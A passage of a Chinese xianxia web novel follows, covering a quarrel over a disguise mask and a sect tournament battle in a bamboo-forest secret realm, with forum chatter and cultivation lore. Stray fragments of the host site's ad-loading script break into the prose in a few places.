陆若音看见柳清云眼眸轻闪,乖巧地取出一张人皮面具,语调平和,与先前的尖锐截然不同:“我在他这买了一张人皮面具,他声称在元婴期以下修士面前,足以混淆视听,说我女扮男装也可无忧。然而,戴上它后,我立马被两位才筑基巅峰期的师弟一眼识破。” 温乐天喃喃自语:“她怎么认出我的?” 陆若音闻言,情绪微澜,愤愤道:“你这奸商,身上一股白茶香,还以为能骗我?” 温乐天夺过人皮面具审视一番,摇头道:“无损无碍,绝非商品之过。我乃诚信商家,若非你嗅出我身上的香气,岂能认出?”说到最后,他挑眉自信,大拇指轻指自己。 陆若音不屑轻哼:“待我唤来师弟,让他们来说!” 温乐天冷笑,言语间略带讥讽:“身为亲传弟子,出门竟不戴令牌。” 柳清云轻撞其肩,笑道:“你不也如此?” 陆若音携其两位师弟缓步而来,身后紧跟着一名面容温婉女子。 “他就是卖我假货的那个黑商,四师弟,五师弟,你们说,那个人皮面具,你们是不是一眼就看穿了。” 正探讨秘境事宜的徐听晚、石观明与江月平,察觉玄天剑宗四人围拢于温乐天与柳清云身侧,不禁心生疑惑,遂走上前询问。 “温乐天,怎么回事?”徐听晚语气中带着几分严厉。 温乐天愤然拍案而起:“清云也在这,为何一遇事便质问我!” 徐听晚疑惑的审视他道:“你觉得,柳清云那性格,能欺负别人?他不被人欺负就好了。”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 温乐天猛地收起愤怒,轻笑一声,佩服的拍了拍手道:“大师姐我向来很欣赏你的嘴毒,我一直都在尽力学习和模仿,但是碰上您这样的天赋选手,还是甘拜下风。” 徐听晚有些不解开口催促道:“我只是实话实说,快说发生了什么。” 温乐天欣赏的点了点头,柳清云嘴角一扯,起身退到旁边。 石观明安慰的拍了拍他的胳膊。 陆若音模仿温乐天的举止,猛然一拍桌面,愤慨道:“他是个黑商!” 孟鹤闻声,目光被三师妹的激昂所吸引,走了过来,与徐听晚交换了一个眼神,随即解释道:“我这三师妹,性情直率,但心地不坏。” 徐听晚轻轻摆手,示意无妨:“知道了,让她继续说。” 陆若音再次叙述事件,她身旁的两名师弟闻言,面色骤变,显得异常苍白。 温乐天急忙辩解:“这绝不可能,大师姐,我的人皮面具应付这两个孩子绰绰有余!” 徐听晚打断了他,目光扫过温乐天的两位面貌相似的师弟,询问道:“你们是如何识破的?” 她确信,这对刚踏入筑基巅峰的双生子,绝无可能看穿三师弟的人皮面具。 其中一人略显退缩,另一人鼓起勇气站出,自我介绍道:“我是四弟子周启明,他是五弟子周落私,我是兄长,他是弟弟。我们能认出三师姐,是因为……她佩戴着双响玉环,世间哪有男子会佩戴此物……” 言罢,陆若音惊讶的举起左手,双响玉环轻轻碰撞,发出清脆声响,她一时之间,尴尬不已。 温乐天双臂环胸,冷哼道:“哼,我早就说了,问题不在我这人皮面具上,还让我退货?我看你们还是先换个脑子吧。” 陆若音闻言,怒气冲冲地欲发作,却被身后的女子月恒轻轻按住手臂。月恒温婉道:“我是若音的二师姐月恒,代她向温道友致歉,是若音唐突了。” 孟鹤适时拍了拍陆若音的肩膀,安抚之下,在大师兄面前陆若音的火气瞬间灭了,退到了孟鹤身后。 孟鹤接过话茬,对温乐天说:“抱歉,是我三师妹唐突了,我们理当赔偿,温道友若有所求,但说无妨,只要合适,我们定当满足。” 徐听晚抢在温乐天之前开口:“孟道友客气了,玄天剑宗前阵子已将罪人白长老一生积蓄的灵石给予我们,此事不必再提,只是一件小事。” 温乐天眉头微蹙,不满道:“大师姐,她当着这么多人面污蔑我是奸商,我以后还怎么卖货?” 徐听晚模仿孟鹤刚才的动作,但不是拍拍肩膀,而是轻轻拍了拍温乐天的头,柔声道:“听话,给人家退了吧。” 温乐天瞪大眼睛,反驳道:“凭啥!” 徐听晚笑道:“咱们不缺那点灵石,况且你看若音道友那……纯——真又略带呆萌的模样,你就让让让她吧。” 此言一出,温乐天原本的一脸怒气瞬间被逗笑,噗嗤一声道:“大师姐,你这次可真含蓄,以前都是直接说蠢的。哈哈,我还是喜欢你以前直说的样子。” 他笑得有些岔气,轻咳两声后,爽快地说:“好吧,就听我晚姐姐的,灵石退给你,哈哈哈。” 陆若音不甘示弱地吼道:“我不要了!进了秘境再找你算账,你个一身红的红猪!” 温乐天笑得更欢了:“好啊,那就走着瞧!” 与此同时书卷论坛上: “哈哈哈哈,五行道宗三弟子温乐天贱兮兮的。” “听说人家是温家家主最小的弟弟,上面的可别乱说,温家一向护短。” “他大师姐的嘴是真的毒。” “上面的你说的对,而且我感觉她还没意识到。” “真是狂妄,玄天剑宗和剑竹宗的亲传七人,可是现如今书卷上调查实力最强的亲传组,希望进入秘境后,她的剑和她的嘴一样毒。” “本身就是她唐突了,这秘境对决可有数万人在看,她当着这么多人的面说人家是黑商,要是我,我就直接开骂了。” …… 万刃竹林秘境即将开启! 16.万刃竹林秘境 上 姜满,身为众掌门中修为最高者,矗立于六大宗与五小宗共十一位掌门的中间,轻挥袖袍,眼神如炬。 “诸位宗门的亲传弟子,皆是天纵之才,今日便让展现展现,代表各自宗门的辉煌与实力吧。” 环顾四周,每位掌门皆是出类拔萃,各具风骨,他们不仅是宗门之首,更是代表着修仙界的高度。 徐听晚仰望立于中央的姜满,左右两侧分别是大宗与小宗的掌门,她突然明白了父亲对力量的无尽追求。 无论是沧澜符宗掌门,以符道极致,凌空绘符信手拈来;还是五行道宗掌门,手握万剑归宗之秘,天生剑骨,皆只能站在姜满右侧,成为她的衬托。 姜满的灵剑,无人知其名。 自她接任掌门,换了把新灵剑,便没有在外人面前出剑,因为没有人能逼出她的剑,除了魔教前任教主——安澈,但最后也死在她的剑下。 天下第一,当之无愧, 徐听晚收回目光,随众人步入秘境。 秘境对决,乃各宗亲传弟子互相切磋学习的机会,每三年一聚,轮流于六大宗门秘境举行。 首次对决于掌门修为最高者所属宗门,其后则由抽签决定,而抽签之序,亦依掌门修为而定。 徐听晚缓缓睁开眼帘,周围的空无一人,手中握着秘境赋予的观看实时淘汰手牌,腰间则牢牢系着一张无法移动的符咒,一旦撕毁,即刻宣告出局。 竹林间风声萧萧,寒意透骨,抬头间,竹叶闪烁冷冽光芒,似乎在静候未知。 据消息打听这秘境,时间流逝极快,夜幕降临时,竹叶化刃,杀机四伏。 风借叶刃,竹光剑影。 她必须在夜幕来到之前,与师弟师妹会合。 夜色之下,危机四布,伤患难免。柳清云是五人中唯一的丹修,其重要性不言而喻。 若他先出了局,即便有无数丹药,伤口不包扎,骨折不正骨,断经脉不引导修补,只能轻伤拖成重伤,无奈出局。 进入秘境前,众人已达成共识,所有人都去找柳清云的位置,到他那里集合。 徐听晚随着跟踪母符的红线指引,朝着远离太阳的东方向赶去。 与此同时,柳清云静立原地,耐心等待众人汇聚。 猛然间,一阵疾风骤至,他有所感觉,微微侧身,仅凭直觉后跳一步,竟瞎猫碰上死耗子的避开了这突如其来的袭击。 “站住!” 一声熟悉的呼唤划破空气,柳清云瞬间辨认出,那偷袭之人竟是陆若音! 完了,真是冤家路窄。 他不敢回头望去,迅速贴上一张上品极速符,往前狂奔而去。 陆若音轻盈一跃,足尖轻点竹身,借势腾空疾驰,此法大大节省了灵力与体力。 脚踏竹空之声步步紧逼,柳清云再贴一张上品极速术,不惜耗损大量灵力以催动符咒,只觉身后之人已经慢慢靠近,他毫不犹豫地又掏出一张上品极速符。 他不能出局。 一旦他此刻出局,大师姐等人便没办法集合。 正当他决心一搏,欲催动第三张上品极速符之际,一声急喝传来。 “四师弟!趴下!” 闻令,柳清云猛然扑倒在地。 一缕熟悉的白茶香味掠过他的鼻尖。 温乐天双手各执短弯刀,精准地挡住了陆若音凌厉的剑锋。 “真是冤家路窄啊,小蠢货。” 言毕,他手腕轻旋,将陆若音的剑锋巧妙变向,随即火灵力涌动,身形轻盈一闪,腰身后仰避过她的凌厉横斩。借势踏地,他猛然抬腿,直击陆若音腹部要害。 陆若音反应迅捷,剑光一闪,精准格挡,温乐天的脚劲竟全数落在剑刃之上,两人因此各自退开数步。陆若音横剑而立,目光如炬;温乐天则双刀在手,气势汹汹。 “小蠢货,同为宗门亲传三弟子,修为都是金丹中期,今日就让我们一较高下!”温乐天挑衅道。 陆若音嘴角微扬,轻蔑回应:“红皮猪,今日就让你的脸和衣服一样红!” 她还没说完,温乐天已施展影步,身形化作道道残影,直扑她。 陆若音见状,身形后跳拉远距离,他的刀法实在难以捉摸。 突然她心生一计,猛然蓄力,剑气如龙,直逼温乐天而来。 他被迫连连后退,只能按照陆若音预设的轨迹闪避。 一时间,剑气纵横,两人斗得难解难分,场面惊心动魄。 柳清云担忧的看向一旁,要是现在玄天剑宗来人就麻烦了。 陆若音见他一味闪躲,心下一狠,预判其闪避轨迹,剑光如电,脚下发力,剑气开头,她跟随剑气猛冲而去。 两道不同方向的攻击,看他还怎么躲! 温乐天原本闪避的身形忽地顿住,他嘴角微扬,陆若音心头顿感不妙,只是剑势已成,难以收回。 她现在只能赌他在装腔作势。 只见温乐天双手弯刀舞动生风,他巧妙松开左手弯刀,弯刀与剑气相撞,他却没受到剑气的冲击,只是弯刀被击落在一旁。 右手弯刀顺势挑起陆若音长剑,随即弯腰出脚,精准踹向她的腹部,将她踹飞而出。 正当温乐天弯腰拾起遗落在旁的弯月形利刃,意欲疾步冲向正单膝跪地、手捂腹部、极为虚弱的陆若音之际,柳清云急促的提醒声自他背后响起。 “三师兄,小心左侧!” 话音未落,一道凌厉至极的剑气已至,其速之快,令温乐天措手不及。 此剑气与陆若音的不同,蕴含之力更为磅礴,且裹挟着浑厚的土灵力,使其威力倍增,直指他腰间悬挂的符咒。 危急关头,温乐天迅速调动全身火系灵力,灌注于弯刀之上,弯刀瞬间被炽热的火焰所包裹,熊熊烈焰腾空而起。 火刃弯刀,随着他体内灵力的涌动而不断膨胀,沿着他的身体轨迹向上延伸,形成一条环绕手臂的火焰护盾。 正当他蓄力,准备硬抗,突然! 龙吟响彻云霄,周遭灵力仿佛凝固,剑芒速度骤减。紧接着,一条与人身等粗的小白龙疾冲而出,矫健非凡。 石观明紧握浅云龙角,随之一跃而出,稳稳落在温乐天身前。 浅云尾巴轻摆,与凌厉剑气正面交锋,石观明迅速调动体内水灵力,灌注于浅云体内。 浅云目光如炬,一击之下,剑气竟被彻底击溃。 “哼,玄天剑宗,竟也行此偷袭之举。”石观明冷冷言道,语气中满是不屑。 双响玉环清脆相撞,两人目光齐聚,只见陆若音面色苍白,缓缓起身,手执长剑,猛然挥出,一道蕴含金灵力的凌厉剑气破空而出。 温乐天见状,迅速凝聚火灵力,掷出火刃弯刀,两股力量在空中激烈碰撞,火花四溅,而另三道剑气却悄然转向,直逼柳清云。 “师兄!”柳清云惊呼。 剑气转瞬即至,石观明心知救援不及,急中生智,向灵兽浅云灌输水灵力,浅云仰天长啸,水波荡漾间,剑气速度骤减。 “三师弟,速去!”石观明大声呼喝。 温乐天反应迅捷,再次掷出火刃弯刀,成功拦截两道剑气,但还余下一道。 此时,月恒持剑冲出,意图解救陆若音,石观明冷笑一声,再次催动浅云,水灵力汇聚成柱,如龙腾海,直击月恒。 月恒奋力抵挡,终是不敌,被击倒在地,陆若音也因冲击再次倒下。 月恒与石观明修为相当,均为金丹巅峰,但陆若音那三道剑气中消耗了她大半灵力。 “你逃不掉的!”石观明目光如炬。 正当众人皆以为柳清云即将出局之际,一柄洁白如雪的剑刃猛然掠出,精准地拦截了那道凌厉的剑气。灵剑与剑气相互对峙,僵持片刻后,一股磅礴的灵力猛然爆发,剑身轻旋,瞬间将剑气化解于无形。 柳清云捂住胸口,急促喘息,方才那惊心动魄的一幕太过迅疾,他此刻都还没反应过来。 他目光转向那柄深深嵌入地面的灵剑,眼中闪过一抹难以置信的喜悦,脱口而出:“是小师妹的青云剑!” 此剑,乃江月平于井底墓穴中得来,取名青云。 “无人扶我青云志,我自踏雪至山巅。” 与陆若音那沉重而有序的踏竹声截然不同,江月平的步伐轻盈而杂乱,如同林间飞鸟穿梭,难以捉摸。 她身形一闪,已至青云剑旁,轻松拔剑出鞘,未有多余言语,便持剑疾冲向倒在地上的月恒与陆若音,动作之迅捷,令人叹为观止。 就在即将交锋的刹那,一抹凌厉的黑芒如剑影般劈向江月,孟鹤紧握黑剑,直冲她腰间符咒。 江月反应迅捷,剑锋平举,精准格挡住那抹黑芒,双方灵力激烈碰撞,冰霜灵力迅速攀附上她的青云剑,寒气逼人。 孟鹤修为已达金丹巅峰,而江月平仅至金丹中期,眼见形势危急,她身形一闪,巧妙避开剑锋,然孟鹤之剑仍擦过她臂膀,留下一道浅痕。 孟鹤迅速抬手准备再次劈下一剑,就在这关键,一股汹涌水柱猛然冲向孟鹤,迫使他翻转灵剑抵抗,水柱中蕴含的磅礴灵力让他连连退却。石观明趁机疾冲上前,迅速将受伤的江月平带至柳清云身旁。 江月平略显疲惫地挣脱石观明的怀抱,若非先前为护柳清云而耗损大量灵力,那一剑本是可化解的。 水柱消散,浅云喘息未定,孟鹤则以灵力拂去衣上水珠,同时扶起陆若音与月恒,迅速给予两人丹药恢复。 双方对峙,气氛凝重,却无人率先发难,皆因彼此心知肚明,此刻动手,胜负难料。 温乐天冷冷一笑,道:“在外诽谤我,于秘境暗算我,玄天剑宗之人,不过如此。”言毕,他轻挥衣袖,以示不屑。 孟鹤沉声回应:“外界之事归外界,秘境之内,既然是对决,自当全力以赴。” 众人都服下恢复灵力的丹药,蓄势待发,准备再战。 突然间,数道凌厉剑气如闪电般射向江月平四人。 江月平目光一凛,迅速辨认出攻击来源——是那对玄天剑宗的双生子,以及依附玄天剑宗的小宗,剑竹宗的两名亲传弟子,一男一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 女,气势汹汹。 “速退!”她简短而有力地喝道,声音中透露出不容置疑的坚决。 四人边战边撤。 温乐天不禁吐槽:“大师姐呢?” 石观明沉声回应:“也许是她被传送的太远了,或是遇到了别人。” 另一边,徐听晚暴躁的重踏青竹而行,原本左边的红线又移到右边,不禁苦笑,怒喝:“玩我呢?” 江月平迅速评估了双方实力,断定那对双生子不足为患,皆处筑基巅峰之境,唯余剑竹宗两名弟子稍显棘手。 女弟子初千墨,剑竹宗大弟子,其令牌名昭示身份,观其剑气凌厉,修为应已至金丹巅峰之境。 男弟子傅亦舟,剑竹宗二弟子,令牌上赫然刻着他的名字与身份,观剑气应是金丹中期的修为。 剑气纷飞全被浅云在身后挡下,此举对石观明而言,灵力消耗犹如流水。 终是一道剑气穿透了防线,浅云坠落,石观明口吐鲜血,灵力枯竭。 温乐天毅然决然:“我来断后。” 江月平语气坚定:“别跑了,我与三师兄已服聚灵丹,灵力渐复。逃避非长久之计,移动中大师姐也难以寻觅,徒增灵力损耗。不如直接和她们碰一碰,若大师姐未能找到我们……”言尽于此,余音未尽,众人心中皆明其意。 温乐天眉头紧锁:“放手一搏,或许大师姐未到,我们亦能取胜。” 柳清云轻启丹瓶,将丹药缓缓送入石观明口中,眉头紧锁,目光却未曾离开江月平分毫。 江月平压低嗓音,与温乐天密语交谈。 谈话方歇,一柄漆黑如夜的长剑猛然破空而出,直指二人。 “就让我这苍穹剑来结束你们!”孟鹤紧握苍穹剑柄,全力挥斩,剑光如龙,势不可挡。 江月平佯装举剑相迎,实则暗藏玄机,温乐天则身形一闪,避其锋芒。 苍穹剑锋转瞬即至,直指江月平腰间符咒。 电光火石间,江月平反手一挥,拿出符笔,数张爆裂符腾空而起,化作漫天火雨,不仅阻截了苍穹剑势,更将初千墨与傅亦舟卷入其中,爆炸声此起彼伏。 孟鹤猝不及防,被符咒之力震退数步,失声惊呼:“剑符双修!” 此言一出,众人哗然,五行道宗的传闻,竟都是真的。 白龙,天灵根,剑符双修! 突如其来的变故让三人措手不及,爆炸的余波将他们一一波及。 符修使用符咒比其他道修使用符咒的伤害,要高出数倍。 三人皆被炸伤,一切太过突然,他们根本来不及举剑抵挡。 "啊!"陆若音猛然惊呼,手中灵剑瞬间脱鞘而出,化作一道流光。 温乐天已迅雷不及掩耳之势逼近她,而那双生子则连喘息之机都未得,符咒已被剑气割裂,出局离场。 "琉璃剑!" 温乐天脚下一踹,将那把流光溢彩的剑稳稳踢回陆若音手中,随后利落地划破她腰间的符咒,将她送出了局。 "琉璃剑,花里胡哨的名字,不如我这止息双刃的名字来的好听。" 月恒被江月平的突然出手所吸引,等她反应过来时,迅速转身,只见身后的三名同门已纷纷出局。 她眉头紧锁间,毅然拔剑,直指温乐天。 此刻,温乐天他们的目标清晰而坚定——拖延时间,静待大师姐的到来,或者死战到底。 “嘿,美女,你这剑挺有范儿的,叫什么名字啊?别急着动手嘛,交流交流嘛,这样多没礼貌。”温乐天嬉皮笑脸地打岔。 月恒下意识地轻声吐出:“赋怜剑。” 随即,她反应过来,迅速收敛心神,专注于眼前的战局。 “哦?原来这就是传说中的赋怜剑,果然名不虚传,不愧是玄天剑宗二师姐,礼仪教养样样俱全。”温乐天继续调侃,但月恒已不在理回。 此时,傅亦舟满脸忧虑地望向月恒,沉声开口:“大师姐,你与孟兄对付这女子,我去帮月恒!” 石观明则强忍伤痛,欲上前相助却力不从心。浅云已被他收入储物袋中休养,而他想连服两颗聚灵丹也被柳清云制止。 心中不禁涌起一股无力感:难道他们只能走到这吗? 第一个夜晚都还没有来到。 要是成了第一个出局的宗门,师父和师娘为维持体面肯定不会对其他人动手,但大师姐,肯定会受到重罚。 在傅亦舟的帮助下,月恒对温乐天形成了全面压制,后者收敛了往日的戏谑,忙于应对接踵而至的攻势。 温乐天为了保护腰间的符咒,已身负数剑,灵力的光速流逝让他全身疼痛,但他只能咬牙硬抗,去挣那一线机会。 江月平同温乐天情况一样,身中数剑。 都是剑修,一直在近战根本不给画符的机会。 现在只能等大师姐了,只靠他们是没有办法解决这剩下的四人。 两人皆处于苦苦支撑的状态。 就在两人灵力快要耗尽之际。 一张上品极速符和跟踪母符落下。 17.万刃竹林秘境 中 一道幽影倏忽而过,一柄通体黑紫、缠绕着滋滋作响紫电的长剑精准地穿透了月恒的腰间,那剑尖无情地刺破了她腰间的符咒。 月恒惊愕地凝视着腰间那柄剑,这把剑竟能如此精准地从背后袭来。 柳清云闻声抬头,喃喃自语:“她来了。” 石观明循声望去,只见徐听晚轻盈地穿梭于青竹之间,不同于常人踏竹而行,她择竹梢高处,那里借力艰难,竹身摇晃不定,却也因此隐蔽无声。 徐听晚稳稳立于月恒身后,从容不迫地抽回那柄刚才掷出的长剑。 月恒甚至未曾目睹她的真容,便已遗憾出局。 温乐天嘴角勾起一抹狡黠的笑,轻巧地闪至她身后。 目睹月恒被利剑贯穿的傅亦舟,瞬间忘却理智,不顾一切地向徐听晚猛冲而去。 徐听晚指尖轻旋,灵力汇聚剑尖,足尖轻点地面,瞬间迎上傅亦舟的攻势,灵剑相抵,火花四溅。 雷灵根,以其无与伦比的攻击性和深厚的灵力储备著称,宗门史册上,万年间仅载四位雷灵根拥有者,他们或是战斗狂人,追求极致;或是走火入魔,难逃宿命。 徐听晚眼神一凛,灵力如潮,瞬间压制傅亦舟的灵剑,手腕翻转间,一剑击落其剑,顺势夺入手中。 傅亦舟怒吼,痛呼:“月霜剑!”。 “不过是暂借一用。”她淡然回应,随后手腕轻扬,月霜剑化作一道寒光,稳稳插在孟鹤与初千墨面前,阻断了他们的退路。 二人本欲离开,却被这一幕震慑。 初千墨不解孟鹤之举,回身举剑直指徐听晚:“你师弟师妹已无力再战,你一人如何胜我们?”言罢,她剑指苍穹,与孟鹤一同攻向徐听晚。 徐听晚身形一跃,剑尖直指初千墨剑身,雷灵力灌注双脚,稳稳将她压制。 一脚踏落初千墨手中灵剑,反手一剑挡住孟鹤攻势,随即一脚踹向初千墨胸口,将其踹飞。 孟鹤与徐听晚剑影交错,冰雷灵力激烈碰撞。徐听晚眼中闪过一丝不耐,手腕微动,推开孟鹤之剑,反手一剑,以惊人速度斩向其胸口,与护体灵力相撞,最终将其击飞。 对付孟鹤,她足下未动分毫。 初千墨挣扎着站起,怒视徐听晚,警告道:“别踩我的宜阳剑!”言罢,周身火焰腾起,眼色变浅。 孟鹤捂着胸口,艰难地劝道:“冷静,初千墨!”而一旁的傅亦舟,失去了灵剑,被温乐天轻松按倒在地。 温乐天在一旁轻笑:“孟道友不是说,对决应全力以赴吗?” 见徐听晚将判决剑收入储物袋,温乐天眉头微蹙:“大师姐,别放过他们!” 江月平默不作声,只是在一旁看戏,她在心中轻笑一声:大师姐不可能放过他们。 徐听晚投以疑惑的眼神,随即俯身拾起地上的宜阳剑,再步至月霜剑旁,亦将其拾起。 她紧握月霜剑,剑尖直指初千墨,笑道:“你火气旺盛,我便借用你水灵根师弟的灵剑,来给你你消消火,我是不是很体贴?” 言毕,她暗自思量,这番话怎么有一股反派意味,算了无所谓,想到啥说啥。 随后她挥剑向初千墨刺去,剑尖穿透她腰间的符咒,亦穿透了她。 紧接着,徐听晚将宜阳剑刺向傅亦舟,“虽已近冬末,但北城仍大雪纷飞,此剑便为你驱驱寒。” 温乐天敏捷闪避,宜阳剑精准击中傅亦舟腰间符咒。 二人瞬间被淘汰。 孟鹤缓缓起身,倚靠青竹,目光平缓地注视着徐听晚,心中满是复杂情绪。 “你本可直接淘汰他们,何必如此?” 徐听晚转头,目光坚定:“我向来恩怨分明,见我师弟师妹受欺,岂能坐视?以少打多,尚能拖延至我赶来,你们现在所受便是活该。” 她眼神深邃,满脸坦然。 孟鹤烦闷的点了点头,输了便是输了。 于日落之前,她迅速夺取苍穹剑,用此剑将其主人淘汰。 一切尘埃落定,徐听晚转身面向众人,众人亦回望于她。 “大家辛苦了。”她看了眼天空,叹气道:“可能休息不了多少时间了。” 温乐天满眼崇拜:“晚姐姐,你真是太厉害了!” 江月平紧握手中剑柄,目光落在徐听晚发髻间那只黄玉银蝶簪,她在害怕,害怕这些只是徐听晚的谎言,她可以原谅她,可如何去相信…… 石观明灵力已大幅恢复。 五人合力,将油灯环绕一圈放置,预示着更为险恶的夜晚悄然逼近。 油灯微光虽弱,却足以在漆黑中勾勒出竹叶的深绿轮廓,若无此光,视野将会变得十分狭小。 秘境之中的月亮并非真正月亮,它的月光仿佛被无形之手遮蔽,几近于无。 风势骤然加剧,呼啸之声不绝于耳。 竹叶间沙沙作响,仿佛有意掩盖某种潜在的威胁。每一缕风都携带着令人心悸的力量,它们或许正暗藏着锋利如刃、坚不可摧的竹叶,随时准备发起突袭。 秘境外,被淘汰的玄天剑宗弟子正接受着医师的治疗,孟鹤的目光不由自主地投向了他的师父——姜满。 尽管表面上,其他宗门的掌门对玄天剑宗首个出局之事显得波澜不惊,但各自心中却暗自盘算,彼此心知肚明。他们都是精明之人,无需多言,沉默与冷漠便是对玄天剑宗最深刻的嘲讽与伪装。 此举,既是对外界的一种展示,也是对姜满设下的微妙陷阱。若她为弟子发声,便会被视为承认五行道宗实力超群,有轻视其他宗门之嫌,仿佛认定自己弟子若遇其他宗门便不会如此轻易落败,这难免落人口实,被指为输不起;而若她选择沉默,则又会被解读为默认了外界的嘲讽与轻视。 修仙界,早已不再是往昔那般单纯修炼、各宗携手共抗魔教的景象,但有一点却始终未变——实力,永远是衡量一切的标尺。 姜满轻轻垂下眼帘,嘴角勾起一抹淡然的微笑,随意地倚坐在掌门席位最上首的椅子上。 身为天下第一的她,自然不乏有人为她及其宗门挺身而出,进行有力的辩驳。 书卷论坛上: “五行道宗的亲传弟子与天道之间,莫非是亲戚关系?” “天赋狗。” “上面的疯狗又来了,遇见一个天赋好的,就说人家是天赋狗。像他这样嘴上不积德的人,就算天赋出众,也肯定同二十多年前那位横空出世的天灵根化神期奇才一样,修行路上遭遇不测,最终尸骨无存。” “唉,那位奇才真是令人惋惜,散修之路,一个人还是太危险了。” “对了,春季招生在即,诸位可想去哪?” “大宗门槛高,我意在小宗寻觅 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 机缘。” “我想先挑战大宗,若不成,再退而求其次去小宗。” “玄天剑宗此番落败,颜面尽失,就这还妄想与五行道宗争锋,夺取第一宗门之名。” “五行道宗万年宗门第一,地位稳固,玄天剑宗何时有过真正的竞争力?” “哼,如今天下第一在玄天剑宗,反观五行道宗,数百年未出此等人物,仅凭深厚底蕴支撑,否则这第一之名早已易主。” “五行道宗现任亲传五人,除却丹修,皆具未来争首之资。” “不过是仗着天赋与资源优渥,五行道宗历代亲传皆如此,初时依赖宗门底蕴修为领先,后则需自我修行,便进展缓慢,甚至停滞不前,徐掌门便是最好的例子。” 秘境外,陆若音紧蹙着眉头,通过水镜凝视着一切。那五行道宗的大师姐,她原本以为对方仅是智谋过人,未曾料到其实力竟如此强悍,令人咋舌。 她转身面向月恒,疑惑地问道:“她”只是金丹巅峰期的修为吗?莫非是我眼花了?” 月恒耐心地为她解惑:“雷灵根的进阶之路与我们大相径庭,每种变异灵根都有其独特之处。雷灵根是力量,冰灵根是控制,风灵根是速度,而天灵根则兼具克制与眼识灵力的能力。” 陆若音闻言,不解地追问:“这‘克制’究竟是何意?” 月恒解释道:“灵根之间存在着微妙的克制关系,如同五行相生相克一般。水克火,金克木,木克土,土克水,水再克火,火则克金。而雷灵根克制冰灵根,冰灵根则能抑制风灵根,风灵根反过来又克制雷灵根。至于天灵根,它凌驾于一切之上,既不受任何灵根克制,又能克制所有。” “可别小瞧克制关系,被克制的一方在战斗中消耗的灵力会是克制方的两倍之多。”月恒补充道。 陆若音闻言,不禁瞪大了眼睛,惊叹道:“原来如此。” 随即,她脑海中闪过一个念头,继续追问道:“那么,若是双灵根、三灵根乃至更多灵根的人,这克制关系又该如何计算呢?” 月恒闻言,苦笑一声道:“三师妹啊,这些基础知识可是内门的必修课,你日后上课可得认真听讲了。” 陆若音轻轻点头,讪讪一笑。 月恒继续深入讲解:“多灵根之所以不如单灵根好,一是因为灵根众多导致修炼难度倍增;二是因为多灵根容易被克制,一旦其中一根灵根被克制,其他灵根也会受到不同程度的影响。” “那么,是否有人能凭借五灵根修炼至极高境界呢?”陆若音托着下巴,好奇地问道。 月恒微微眯眼,沉思片刻后道:“我好像看见过记载,但具体细节我已记不太清了。” 陆若音点了点头,再次将目光投向水镜。 此时,水镜已自动分割为五个画面,分别展示着各宗门的集结情况。 秘境内,因柳清云和石观明两人近战都十分薄弱,被放在最中间的位置,浅云轻盈地穿梭于二人之间,其他人围着两人呈三角站位。 中间两人背靠着背,环视四周,目光如炬。 柳清云手里紧捏着着大师姐给他的符咒。 石观明拿着温乐天给他的灵器——上品铁御伞。 众人尚沉浸于戒备之中,徐听晚已迅疾出剑,剑光一闪,伴随着硬物被击飞的清脆声响,她低声宣告:“开始了。” 18.万刃竹林秘境 下 残缺的灵魂终得圆满融合,成为完整的徐听晚。 洞悉人情凉薄,世故无情,方能修成正道。 徐听晚心中燃起一股信念,坚信如今的自己,未必逊色于那光环加身的女主江月平。 谁不是天之骄子,谁的心中不怀揣着对正义的执着追求! 她不敢奢望与江月平亲密无间,只希望竭力弥补往昔的裂痕。 与昔日欺压自己的人成为挚友,对她而言都实难从命,又何必强求于江月平。 唯有补偿过往,方能两清,从此各安天命,各走阳关道。 竹叶碰撞之声稀疏响起,徐听晚迅速环顾周遭,身形一闪,疾冲向江月平,精准地将背后突袭的竹叶刃一一击飞。江月平闻声回首,与她对视,两人相顾无言。 徐听晚眼帘微垂,心中明镜,江月平在客栈中的刻意接近,她岂能不知。这份亲近,源于她实力凌驾于江月平之上,使得后者难以抗拒,只能勉强相随。 她手中剑光如织,愈发凌厉,几乎将半数竹叶刃尽数化解。石观明凝视着她的背影,欲言又止。 大师姐心中有事,他一眼便能看出,大师姐的思绪,总因思考太多走进死胡同,父母亲的利用,让她生性多疑。 此刻,徐听晚的剑法,行云流水,腰间九玉缠金轻轻摇曳,青丝随风与剑共舞,隐隐有雷霆之力在剑尖凝聚,仿佛被无形之力束缚,蓄势待发,只待一瞬,狂风骤起,展现其惊世骇俗之姿。 徐听晚心中孤寂一片,随着对这个世界了解的加深,她愈发意识到它与那个世界的天壤之别。 在这里,真挚的友情难觅,唯有欲望的洪流滔滔不绝。 修炼,本质上便是欲望的驱使。 她深刻领悟到自己另一半灵魂中,那轻笑与眼神背后隐藏的深意——是无奈与孤寂的交织,是惋惜与自嘲的并存。 人在无限接近欲望时是最丑陋的。 而人的欲望永无止境…… 欲望,这无形的病毒,若不能与之共存,便只能被其吞噬,成为他人的猎物。 因此,徐听晚誓要强大,强大到无人能迫她做自己不愿之事。 她要成为一切不义的仲裁者! 她必须挣脱那自私自利、终将自毁的父母之束缚。他们如同即将崩塌的墙垣,迟早会引来众人的唾弃。 与其坐等那一天的到来,不如借此机会,推翻他们的统治,赢得人心与地位。 那两人,真是该死。若非儿时无意间偷听到他们的对话,她简直不敢相信,自己的亲生父母竟会觊觎孩子的灵根,作为修炼的养料。 真正的自救法则: 1.忍辱负重,收集证据。 2.出其不意,推翻现权。 3.股行修炼,天下第一。 夜幕低垂,空气中弥漫着淡淡的血腥气息。 徐听晚虽竭力相助,然众人仍难逃轻重不一的伤势,还好腰间符咒得以周全守护。 随着晨曦初现,风戛然而止,竹叶纷纷扬扬铺满一地。 他们终是安然度过了首个危机四伏的夜晚。 徐听晚轻启手牌,只见其上记录着众多出局者的名字。 历经此夜,她的剑法更上层楼,几已恢复至记忆中的巅峰状态。 柳清云正细心地为众人处理伤口,包扎妥当,他望向徐听晚,关切询问:“大师姐,你可有受伤?” 话音未落,徐听晚恰好与江月平的目光交汇,只见其胸口伤口鲜血汩汩而出。 “我无碍。”徐听晚简洁回应。 